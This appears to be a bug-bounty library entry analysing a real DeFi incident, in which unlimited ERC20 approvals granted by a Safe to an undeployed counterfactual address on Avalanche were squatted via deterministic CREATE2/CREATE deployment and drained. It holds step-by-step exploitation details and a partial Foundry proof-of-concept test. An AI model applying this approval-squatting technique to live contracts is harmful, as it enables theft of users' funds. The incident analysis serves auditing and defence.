# SafeApprovalSquat: counterfactual approval address squatted to drain Safe

Safe held unlimited ERC20 approvals to an empty counterfactual address; attacker deployed a contract to that exact address via CREATE2+CREATE math and swept ~$7.45M.

- Payout: Real-world hack
- Severity: critical
- Program: SafeApprovalSquat
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-26
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/SafeApprovalSquat_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261026-safeapprovalsquat
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** Safe multisig ERC20 approvals on Avalanche C-Chain
**Root cause:** Safe granted unlimited ERC20 approvals to a counterfactual (not-yet-deployed) address derived from deterministic CREATE2/CREATE math; anyone could deploy code to that address and spend the approvals since allowance is per-address, not per-caller.
**Steps:**
1. Fork Avalanche at block 98,603,855-1; confirm `allowance(SAFE, LANDING) == type(uint256).max` for USDC/WAVAX/WETH.e/BTC.b and `LANDING.code.length == 0`.
2. Deploy CreateCall via Safe Singleton Factory: `SAFE_SINGLETON_FACTORY.call(abi.encodePacked(bytes32(0), CREATECALL_INITCODE))` (salt 0, fixed initcode) to land at `0xB22D...0316`.
3. Call `ICreateCall(CREATE_CALL).performCreate(0, hex"60006000f3")` 12 times to advance CreateCall's nonce from 1 to 12.
4. Deploy Sweeper as the 13th CREATE via `performCreate`, landing at the pre-approved `0x3725...155d`.
5. Call `Sweeper.sweep()` which does `transferFrom(SAFE, recipient, balanceOf(SAFE))` for each of the four tokens.
**How found:** Recognized that standing unlimited approvals were granted to an address that was empty on-chain, and that the address was the deterministic 13th CREATE output of a Safe CreateCall instance itself deployed via CREATE2 from the Safe Singleton Factory — reproducible by anyone.
**Exploitation:** Fresh EOA with no Safe key/signature/role reproduces the deterministic deployment math (CREATE2 salt 0 + 13-deep CREATE chain) to occupy the pre-approved address, then calls transferFrom on the four tokens to drain the Safe's full balances to an attacker recipient. Original attacker tx was front-run by an MEV bot that landed the identical drain.
**Insight:** Audit Safe (and any multisig) approval targets: if an approval spender is a counterfactual address derived from deterministic deployment (CREATE2 salt + CREATE nonce chain), it can be squatted by anyone who reproduces the math before the intended deployer does. Check `allowance` targets for `code.length == 0` and whether their address is predictable from public factory parameters.

## Proof of concept (copied exactly from the original report)

**Foundry PoC squatting approval address and sweeping**

```
function testExploit() public {
        // Preconditions: the four approvals are live and unlimited, and the squat address is empty.
        assertEq(USDC.allowance(SAFE, LANDING), type(uint256).max, "USDC approval");
        assertEq(WAVAX.allowance(SAFE, LANDING), type(uint256).max, "WAVAX approval");
        assertEq(WETHe.allowance(SAFE, LANDING), type(uint256).max, "WETH.e approval");
        assertEq(BTCb.allowance(SAFE, LANDING), type(uint256).max, "BTC.b approval");
        assertEq(LANDING.code.length, 0, "squat address must start empty");

        // Everything below is a fresh EOA with no relationship to the Safe.
        vm.startPrank(attacker, attacker);

        // 1. Deploy the CreateCall instance deterministically via the Safe Singleton Factory.
        //    Factory calldata is salt(32 bytes) ++ initcode; salt is zero.
        (bool ok,) = SAFE_SINGLETON_FACTORY.call(abi.encodePacked(bytes32(0), CREATECALL_INITCODE));
        require(ok, "CreateCall deployment failed");
        require(CREATE_CALL.code.length > 0, "CreateCall not at expected address");

        // 2. Burn 12 throwaway deployments to advance CreateCall's nonce from 1 to 12.
        for (uint256 i; i < 12; ++i) {
            ICreateCall(CREATE_CALL).performCreate(0, hex"60006000f3"); // ret
```

